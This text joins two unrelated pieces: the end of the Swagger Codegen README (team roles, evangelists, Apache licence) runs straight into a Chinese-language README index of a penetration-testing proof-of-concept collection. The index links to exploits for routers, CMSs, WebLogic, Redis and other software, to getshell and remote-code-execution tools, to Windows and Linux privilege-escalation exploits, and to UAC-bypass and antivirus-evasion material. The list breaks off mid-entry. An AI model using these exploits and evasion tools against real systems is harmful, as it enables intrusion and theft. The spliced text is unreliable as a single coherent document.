@stevehu * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsum * PHP Slim: @jfastnacht * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Evangelist Swagger Codegen Evangelist shoulders one or more of the following responsibilities: - publishes articles on the benefit of Swagger Codegen - organizes local Meetups - presents the benefits of Swagger Codegen in local Meetups or conferences - actively answers questions from others in [Github](https://github.com/swagger-api/swagger-codegen/issues), [StackOverflow](stackoverflow.com/search?q=%5Bswagger%5D) - submits PRs to improve Swagger Codegen - reviews PRs submitted by the others - ranks within top 100 in the [contributor list](https://github.com/swagger-api/swagger-codegen/graphs/contributors) If you want to be a Swagger Codegen Evangelist, please kindly apply by sending an email to [email protected] (@wing328) ### List of Swagger Codegen Evangelists - Cliffano Subagio (@cliffano from Australia joined on Dec 9, 2016) - [Building An AEM API Clients Ecosystem](http://www.slideshare.net/cliffano/building-an-aem-api-clients-ecosystem) - [Adobe Marketing Cloud Community Expo](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
## <span id="head1"> Penetration_Testing_POC</span> 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享,作为笔记吧,欢迎补充。 - [ Penetration_Testing_POC](#head1) - [ 请善用搜索[`Ctrl+F`]查找](#head2) - [IOT Device&Mobile Phone](#head3) - [Web APP](#head4) - [ 提权辅助相关](#head5) - [ PC](#head6) - [ tools-小工具集合](#head7) - [ 文章/书籍/教程相关](#head8) - [ 说明](#head9) ## <span id="head2"> 请善用搜索[`Ctrl+F`]查找</span> ## <span id="head3">IOT Device&Mobile Phone</span> - [天翼创维awifi路由器存在多处未授权访问漏洞](天翼创维awifi路由器存在多处未授权访问漏洞.md) - [华为WS331a产品管理页面存在CSRF漏洞](华为WS331a产品管理页面存在CSRF漏洞.md) - [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) - [D-Link路由器RCE漏洞](./CVE-2019-16920-D-Link-rce.md) - [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./CVE-2019-13051) - [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE) - [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb) - [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb) - [从 Interfaces.d 到 RCE:Mozilla WebThings IoT 网关漏洞挖掘](https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/) - [小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md) - [Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload-未经验证即可替换固件)](https://www.exploit-db.com/exploits/48158) - [cve-2020-8634&cve-2020-8635](https://www.exploit-db.com/exploits/48160)|[Wing FTP Server 6.2.3权限提升漏洞发现分析复现过程](https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php)|[Wing FTP Server 6.2.5权限提升](https://www.exploit-db.com/exploits/48154) - [CVE-2020-9374-TP LINK TL-WR849N - RCE](./CVE-2020-9374.md) - [CVE-2020-12753-LG 智能手机任意代码执行漏洞](https://github.com/shinyquagsire23/CVE-2020-12753-PoC) - [CVE-2020-12695-UPnP 安全漏洞](https://github.com/yunuscadirci/CallStranger) - [79款 Netgear 路由器遭远程接管0day](https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py) - [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits) ## <span id="head4">Web APP</span> - [致远OA_A8_getshell_0day](致远OA_A8_getshell_0day.md) - [Couch through 2.0存在路径泄露漏洞 ](Couch%20through%202.0存在路径泄露漏洞.md) - [Cobub Razor 0.7.2存在跨站请求伪造漏洞](Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) - [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) - [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) - [Z-Blog 1.5.1.1740存在XSS漏洞](Z-Blog%201.5.1.1740存在XSS漏洞.md) - [YzmCMS 3.6存在XSS漏洞](YzmCMS%203.6存在XSS漏洞.md) - [Cobub Razor 0.7.2越权增加管理员账户](Cobub%20Razor%200.7.2越权增加管理员账户.md) - [Cobub Razor 0.8.0存在SQL注入漏洞](Cobub%20Razor%200.8.0存在SQL注入漏洞.md) - [Cobub Razor 0.8.0存在物理路径泄露漏洞](Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) - [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) - [DomainMod的XSS集合](DomainMod的XSS集合.md) - [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) - [yii2-statemachine v2.x.x存在XSS漏洞](yii2-statemachine%20v2.x.x存在XSS漏洞.md) - [maccms_v10存在CSRF漏洞可增加任意账号](maccms_v10存在CSRF漏洞可增加任意账号.md) - [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) - [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) - [Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞](Amazon%20Kindle%20Fire%20HD%20\(3rd%20Generation\)内核驱动拒绝服务漏洞.md) - [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) - [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) - [indexhibit cms v2.1.5 直接编辑php文件getshell](indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) - [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) - [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) - [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS%205.X版本GETSHELL漏洞合集.md) - [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md) - [thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md) - [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md) - [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc) - [thinkphp5命令执行](thinkphp5命令执行.md) - [typecho反序列化漏洞](typecho反序列化漏洞.md) - [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) - [IIS/CVE-2017-7269-Echo-PoC](./IIS/CVE-2017-7269-Echo-PoC) - [CVE-2019-15107 Webmin RCE](./CVE-2019-15107) - [thinkphp5 rce漏洞检测工具](./tp5-getshell) - [thinkphp5_RCE合集](./tp5-getshell/TP5_RCE合集.md) - [thinkphp3.X-thinkphp5.x](./tp5-getshell/ThinkPHP.md) - [关于ThinkPHP框架的历史漏洞分析集合](https://github.com/Mochazz/ThinkPHP-Vuln) - [CVE-2019-11510](./CVE-2019-11510) - [Redis(<=5.0.5) RCE](./redis-rogue-server) - [Redis 4.x/5.x RCE(主从复制导致RCE)](https://github.com/Ridter/redis-rce) - [生成Redis恶意模块so文件配合主从复制RCE达到命令执行](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)|[相关文章](https://www.freebuf.com/vuls/224235.html) - [RedisWriteFile-通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件](https://github.com/r35tart/RedisWriteFile) - [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./WeblogicScanLot) - [jboss_CVE-2017-12149](./jboss_CVE-2017-12149) - [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./CVE-2018-6389) - [Webmin Remote Code Execution (authenticated)-CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642) - [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) - [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) - [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) - [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) - [泛微OA管理系统RCE漏洞利用脚本](./泛微OA管理系统RCE漏洞利用脚本.md) - [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) - [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./zentao-getshell) - [泛微 e-cology OA 前台SQL注入漏洞](./泛微%20e-cology%20OA%20前台SQL注入漏洞.md) - [Joomla-3.4.6-RCE](./Joomla-3.4.6-RCE.md) - [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) - [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) - [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) - [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) - [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) - [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md) - [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) - [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar) - [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md) - [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md) - [apache_solr_rce](./solr_rce.md) - [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) - [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce) - [用于检测JSON接口令牌安全性测试](https://github.com/ticarpi/jwt_tool) - [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) - [CVE-2019-12409_Apache_Solr RCE](https://github.com/jas502n/CVE-2019-12409) - [Shiro RCE (Padding Oracle Attack)](https://github.com/wuppp/shiro_rce_exp) - [CVE-2019-19634-class.upload.php <= 2.0.4任意文件上传](https://github.com/jra89/CVE-2019-19634) - [Apache Solr RCE via Velocity Template Injection](./Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) - [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution ](https://github.com/masahiro331/CVE-2019-10758/) - [CVE-2019-2107-Android播放视频-RCE-POC(Android 7.0版本,7.1.1版本,7.1.2版本,8.0版本,8.1版本,9.0版本)](https://github.com/marcinguy/CVE-2019-2107) - [CVE-2019-19844-Django重置密码漏洞(受影响版本:Django master branch,Django 3.0,Django 2.2,Django 1.11)](https://github.com/ryu22e/django_cve_2019_19844_poc/) - [CVE-2019-17556-unsafe-deserialization-in-apache-olingo(Apache Olingo反序列化漏洞,影响: 4.0.0版本至4.6.0版本)](https://medium.com/bugbountywriteup/cve-2019-17556-unsafe-deserialization-in-apache-olingo-8ebb41b66817) - [ZZCMS201910 SQL Injections](./ZZCMS201910%20SQL%20Injections.md) - [WDJACMS1.5.2模板注入漏洞](./WDJACMS1.5.2模板注入漏洞.md) - [CVE-2019-19781-Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway](https://github.com/projectzeroindia/CVE-2019-19781) - [CVE-2019-19781.nse---use Nmap check Citrix ADC Remote Code Execution](https://github.com/cyberstruggle/DeltaGroup/tree/master/CVE-2019-19781) - [Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/) - [CVE-2020-5504-phpMyAdmin注入(需要登录)](https://xz.aliyun.com/t/7092) - [CVE-2020-5509-Car Rental Project 1.0版本中存在远程代码执行漏洞](https://github.com/FULLSHADE/CVE-2020-5509-POC) - [CryptoAPI PoC CVE-2020-0601](https://github.com/kudelskisecurity/chainoffools/blob/master/README.md)|[另一个PoC for CVE-2020-0601](https://github.com/ollypwn/CVE-2020-0601) - [New Weblogic RCE (CVE-2020-2546、CVE-2020-2551) CVE-2020-2546](https://mp.weixin.qq.com/s/Q-ZtX-7vt0JnjNbBmyuG0w)|[WebLogic WLS核心组件RCE分析(CVE-2020-2551)](https://www.anquanke.com/post/id/199695)|[CVE-2020-2551-Weblogic IIOP 反序列化EXP](https://github.com/Y4er/CVE-2020-2551) - [CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC](https://github.com/motikan2010/CVE-2020-5398/) - [PHPOK v5.3&v5.4getshell](https://www.anquanke.com/post/id/194453) | [phpok V5.4.137前台getshell分析](https://forum.90sec.com/t/topic/728) | [PHPOK 4.7从注入到getshell](https://xz.aliyun.com/t/1569) - [thinkphp6 session 任意文件创建漏洞复现 含POC](./books/thinkphp6%20session%20任意文件创建漏洞复现%20含POC.pdf) --- 原文在漏洞推送公众号上 - [ThinkPHP 6.x反序列化POP链(一)](./books/ThinkPHP%206.x反序列化POP链(一).pdf)|[原文链接](https://mp.weixin.qq.com/s/rEjt9zb-AksiVwF1GngFww) - [ThinkPHP 6.x反序列化POP链(二)](./books/ThinkPHP%206.x反序列化POP链(二).pdf)|[原文链接](https://mp.weixin.qq.com/s/q8Xa3triuXEB3NoeOgka1g) - [ThinkPHP 6.x反序列化POP链(三)](./books/ThinkPHP%206.x反序列化POP链(三).pdf)|[原文链接](https://mp.weixin.qq.com/s/PFNt3yF0boE5lR2KofghBg) - [WordPress InfiniteWP - Client Authentication Bypass (Metasploit)](https://www.exploit-db.com/exploits/48047) - [【Linux提权/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) - [CVE-2020-7471-django1.11-1.11.282.2-2.2.103.0-3.0.3 StringAgg(delimiter)使用了不安全的数据会造成SQL注入漏洞环境和POC](https://github.com/Saferman/CVE-2020-7471) - [CVE-2019-17564 : Apache Dubbo反序列化漏洞](https://www.anquanke.com/post/id/198747) - [CVE-2019-2725(CNVD-C-2019-48814、WebLogic wls9-async)](https://github.com/lufeirider/CVE-2019-2725) - [YzmCMS 5.4 后台getshell](https://xz.aliyun.com/t/7231) - 关于Ghostcat(幽灵猫CVE-2020-1938漏洞):[CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc](https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC)|[Java版本POC](https://github.com/0nise/CVE-2020-1938)|[Tomcat-Ajp协议文件读取漏洞](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/)|[又一个python版本CVE-2020-1938漏洞检测](https://github.com/xindongzhuaizhuai/CVE-2020-1938)|[CVE-2020-1938-漏洞复现环境及EXP](https://github.com/laolisafe/CVE-2020-1938) - [CVE-2020-8840:Jackson-databind远程命令执行漏洞(或影响fastjson)](https://github.com/jas502n/CVE-2020-8840) - [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) - [CVE-2020-7246-PHP项目管理系统qdPM< 9.1 RCE](https://www.exploit-db.com/exploits/48146) - [CVE-2020-9547:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9547) - [CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9548) - [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033) - [CVE-2020-2555:WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)|[CVE-2020-2555-Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE](https://github.com/Y4er/CVE-2020-2555) - [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947) - [CVE-2020-0554:phpMyAdmin后台SQL注入](./CVE-2020-0554:phpMyAdmin后台SQL注入.md) - [泛微E-Mobile Ognl 表达式注入](./泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) - [通达OA RCE漏洞](https://github.com/fuhei/tongda_rce) - [CVE-2020-10673-jackson-databind JNDI注入导致远程代码执行]() - [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具,图形化界面(Sonatype Nexus <3.21.1)](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204) - [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/) - [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260) - [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md) - [CVE-2020-11890 JoomlaRCE <3.9.17 远程命令执行漏洞(需要有效的账号密码)](https://github.com/HoangKien1020/CVE-2020-11890) - [CVE-2020-10238【JoomlaRCE <= 3.9.15 远程命令执行漏洞(需要有效的账号密码)】&CVE-2020-10239【JoomlaRCE 3.7.0 to 3.9.15 远程命令执行漏洞(需要有效的账号密码)】](https://github.com/HoangKien1020/CVE-2020-10238) - [CVE-2020-2546,CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3](https://github.com/hktalent/CVE_2020_2546)|[CVE-2020-2883-Weblogic coherence.jar RCE](https://github.com/Y4er/CVE-2020-2883) - [tongda_oa_rce-通达oa 越权登录+文件上传getshell](https://github.com/clm123321/tongda_oa_rce) - [CVE-2020-11651-SaltStack Proof of Concept【认证绕过RCE漏洞】](https://github.com/0xc0d/CVE-2020-11651)|[CVE-2020-11651&&CVE-2020-11652 EXP](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP) - [showdoc的api_page存在任意文件上传getshell](./showdoc的api_page存在任意文件上传getshell.md) - [Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法](https://github.com/CaijiOrz/fastjson-1.2.47-RCE) - [SpringBoot_Actuator_RCE](https://github.com/jas502n/SpringBoot_Actuator_RCE) - [jizhicms(极致CMS)v1.7.1代码审计-任意文件上传getshell+sql注入+反射XSS](./books/jizhicms(极致CMS)v1.7.1代码审计引发的思考.pdf) - [CVE-2020-9484:Apache Tomcat Session 反序列化代码执行漏洞](./tools/CVE-2020-9484.tgz)|[CVE-2020-9484:Apache Tomcat 反序列化RCE漏洞的分析和利用](https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/) - [PHPOK 最新版漏洞组合拳 GETSHELL](./books/PHPOK最新版漏洞组合拳GETSHELL.pdf) - [Apache Kylin 3.0.1命令注入漏洞](https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706) - [weblogic T3 collections java InvokerTransformer Transformer InvokerTransformer weblogic.jndi.WLInitialContextFactory](https://github.com/hktalent/weblogic_java_des) - [CVE-2020-5410 Spring Cloud Config目录穿越漏洞](https://xz.aliyun.com/t/7877) - [NewZhan CMS 全版本 SQL注入(0day)](./books/NewZhan%20CMS%20全版本%20SQL注入(0day).pdf) - [盲注 or 联合?记一次遇见的奇葩注入点之SEMCMS3.9(0day)](./books/盲注%20or%20联合?记一次遇见的奇葩注入点之SEMCMS3.9(0day).pdf) - [从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过](./books/从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过.pdf) - [CVE-2020-1948 : Apache Dubbo 远程代码执行漏洞](https://github.com/ctlyz123/CVE-2020-1948) - [CVE-2020-5902-F5 BIG-IP 远程代代码执行(RCE)&任意文件包含读取](https://github.com/jas502n/CVE-2020-5902) - [CVE-2020-8193-Citrix未授权访问任意文件读取](https://github.com/jas502n/CVE-2020-8193) - [通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01](./books/通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01.pdf) - [CVE-2020-14645-WebLogic 远程代码执行漏洞](https://github.com/Y4er/CVE-2020-14645)|[Weblogic_CVE-2020-14645](https://github.com/DSO-Lab/Weblogic_CVE-2020-14645) - [CVE-2020-6287-SAP NetWeaver AS JAVA 授权问题漏洞-创建用户EXP](https://github.com/duc-nt/CVE-2020-6287-exploit)|[SAP_RECON-PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)](https://github.com/chipik/SAP_RECON) - [CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029-jenkins-rce](https://github.com/orangetw/awesome-jenkins-rce-2019) ## <span id="head5"> 提权辅助相关</span> - [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) - [windows 溢出提权小记](https://klionsec.github.io/2017/04/22/win-0day-privilege/)/[本地保存了一份+Linux&Windows提取脑图](./tools/Local%20Privilege%20Escalation.md) - [Windows常见持久控制脑图](./tools/Windows常见持久控制.png) - [CVE-2019-0803 Win32k漏洞提权工具](./CVE-2019-0803) - [脏牛Linux提权漏洞](https://github.com/Brucetg/DirtyCow-EXP) - [远控免杀从入门到实践之白名单(113个)](https://github.com/TideSec/BypassAntiVirus)|[远控免杀从入门到实践之白名单(113个)总结篇.pdf](./books/远控免杀从入门到实践之白名单(113个)总结篇.pdf) - [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) - [Linux权限提升辅助一键检测工具](https://github.com/mzet-/linux-exploit-suggester) - [将powershell脚本直接注入到进程中执行来绕过对powershell.exe的限制](https://github.com/EmpireProject/PSInject) - [CVE-2020-2696 – Local privilege escalation via CDE dtsession](https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c) - [CVE-2020-0683-利用Windows MSI “Installer service”提权](https://github.com/padovah4ck/CVE-2020-0683/) - [Linux sudo提权辅助工具—查找sudo权限配置漏洞](https://github.com/TH3xACE/SUDO_KILLER) - [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) - [Linux提取-Linux kernel XFRM UAF poc (3.x - 5.x kernels)2020年1月前没打补丁可测试](https://github.com/duasynt/xfrm_poc) - [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) - [Linux提权辅助检测Perl脚本](https://github.com/jondonas/linux-exploit-suggester-2)|[Linux提权辅助检测bash脚本](https://github.com/mzet-/linux-exploit-suggester) - [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf) - [getAV---windows杀软进程对比工具单文件版](./tools/getAV/) - [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配CS的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato) - [【Windows提权工具】SweetPotato修改版,用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf) - [【bypass UAC】Windows 8.1 and 10 UAC bypass abusing WinSxS in "dccw.exe"](https://github.com/L3cr0f/DccwBypassUAC/) - [【Windows提权】CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7](https://github.com/alpha1ab/CVE-2018-8120) - [【Windows提权 Windows 10&Server 2019】PrintSpoofer-Abusing Impersonation Privileges on Windows 10 and Server 2019](https://github.com/itm4n/PrintSpoofer)|[配合文章食用-pipePotato复现](./books/pipePotato复现.pdf)|[Windows 权限提升 BadPotato-已经在Windows 2012-2019 8-10 全补丁测试成功](https://github.com/BeichenDream/BadPotato) - [【Windows提权】Windows 下的提权大合集](https://github.com/lyshark/Windows-exploits) - [【Windows提权】-CVE-2020-1048 | PrintDemon本地提权漏洞-漏洞影响自1996年以来发布(Windows NT 4)的所有Windows版本](https://github.com/ionescu007/PrintDemon) - [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法](https://github.com/hfiref0x/UACME) - [CVE-2020–1088: Windows wersvc.dll 任意文件删除本地提权漏洞分析](https://medium.com/csis-techblog/cve-2020-1088-yet-another-arbitrary-delete-eop-a00b97d8c3e2) - [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP](https://github.com/sailay1996/WerTrigger) - [【Windows提权】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) - [【Windows提权】CVE-2020-0787-EXP-ALL-WINDOWS-VERSION-适用于Windows所有版本的提权EXP](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION) - [【Windows提权】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) - [【Linux提权】对Linux提权的简单总结](./books/对Linux提权的简单总结.pdf) - [【Windows提权】wesng-Windows提权辅助脚本](https://github.com/bitsadmin/wesng) - [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。](https://github.com/hlldz/dazzleUP) ## <span id="head6"> PC</span> - [ 微软RDP远程代码执行漏洞(CVE-2019-0708)](./BlueKeep) - 